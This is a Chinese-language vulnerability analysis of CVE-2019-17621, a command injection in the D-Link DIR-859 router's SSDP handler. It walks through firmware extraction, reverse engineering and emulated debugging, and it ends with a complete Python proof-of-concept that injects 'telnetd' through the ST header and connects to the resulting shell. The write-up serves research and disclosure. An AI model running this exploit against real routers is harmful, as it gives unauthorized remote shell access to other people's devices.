0x01.漏洞概述
1.简介
D-Link DIR-859设备LAN层中出现未经身份验证的命令执行漏洞(CVE-2019-17621)
2.漏洞研究版本
型号:DIR-859
固件版本:1.06b01 Beta01,1.05
架构:MIPS 32位
3.受影响的D-Link版本
0x02.漏洞起因
远程命令执行漏洞发生在cgibin可执行文件中的ssdpcgi_main()函数中,即使这个函数之前已经打过补丁,但是而由于环境变量未正确过滤而造成远程命令执行.
0x03.Firmadyne模拟DIR-859
1.使用Firmadyne成功模拟DIR-859
0x04.固件提取
1.获取固件
2.提取固件
3.grep搜索造成漏洞的cgibin文件
0x05.Ghidra二进制分析cgibin
1.查找造成漏洞的函数ssdpcgi_main()
2.分析ssdcgi_main()函数
首先通过getenv()获取环境变量,经过多个判断后经过urn,device,serivce等进行拼接成新的字符串,最后将新生成的字符串作为lxmldbc_system()的变量进行传递.
我们利用这个漏洞需要满足如下条件:
(1).HTTP_ST中含有urn:这四个字符以满足上面的判断条件
(2).将要执行的命令通过strstr()拼接到device或service上,以满足命令执行条件
(3).将拼接成的字符串传递给lxmldbc_system()
3.造成漏洞真正的原因是lxmldbc_system()函数,函数如下
lxmldbc_system()函数的参考地址:https://pastebin.com/kqEByBgA
根据原文,sistema de retorno为system()函数
4.根据lxmldbc_system()写了一个简单的Demo
5.运行Demo,执行系统命令
6.IDA跟进分析ssdpcgi_main
当我们控制HTTP_ST环境变量的值时,我们将命令在作为vsnpritf()函数的参数发送之前将它们连接起来,以格式化字符串.而格式化后的字符串保存在$0
,$0
会被lxmldbc_system()作为buffer,以执行system()命令。
0x06.使用Qemu+IDA动态调试
1.查看可执行程序格式
2.复制qemu-mips模拟运行cgibin
-0: 要请求的cgi
-E: 传入自定义的环境变量
通过Ghidra分析可以看出如果想要跳转到ssdpcgi_main()函数,想要匹配ssdpcgi才可以.
这些就是我们需要进行传输的数据
3.经过上面的操作已经启动qemu-mips-static对cgibin进行模拟,并监听在10000端口
4.IDA进行远程调试
(1).IDA加载cgibin时,选中Maunal load,发生弹窗全部选择确认
(2).在关键位置下断点
(3).IDA加载IP和PORT
(4).启动调试,运行到断点的位置,在最开始的判断的时候进行的强制更改跳转
(5).根据$0的地址到内存查找字符
这里我们也已经找到了传递过来并已经拼接的值
根据漏洞成因可以确定拼接成后的格式
s0:/etc/scripts/upnp/M-SEARCH.sh devices 127.0.0.1:13 1 urn:device:1;your command &
s0:/etc/scripts/upnp/M-SEARCH.sh services 127.0.0.1:13 1 urn:service:1;your command&
(6).根据lxmldbc_system()的第二个参数可以确定会去执行/etc/scripts/upnp/M-SEARCH.sh,这里我们进行验证拼接命令的字符串是否成功执行
0x07.编写POC
由于D-Link中本身就内置Telnet,所以直接使用Telent建立稳定的Shell
#!/usr/bin/python
import sys
import os
import socket
from time import sleep
# Exploit By Miguel Mendez - @s1kr10s
def config_payload(ip, port):
header = "M-SEARCH * HTTP/1.1n"
header += "HOST:"+str(ip)+":"+str(port)+"n"
header += "ST:urn:device:1;telnetdn"
header += "MX:2n"
header += 'MAN:"ssdp:discover"'+"nn"
return header
def send_conexion(ip, port, payload):
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP,socket.IP_MULTICAST_TTL,2)
sock.sendto(payload,(ip, port))
sock.close()
if __name__== "__main__":
ip = raw_input("Router IP: ")
port = 1900
print("n---= HEADER =---n")
headers = config_payload(ip, port)
print("[+] Preparando Header ...")
print("[+] Enviando payload ...")
print("[+] Activando servicio telnetd :)")
send_conexion(ip, port, headers)
print("[+] Conectando al servicio ...n")
sleep(5)
os.system('telnet ' + str(ip))
0x08.POC验证
成功连接telent,并执行系统命令
0x09.参考:
1.https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73
2.https://support.dlink.com/ProductInfo.aspx?m=DIR-859
3.https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147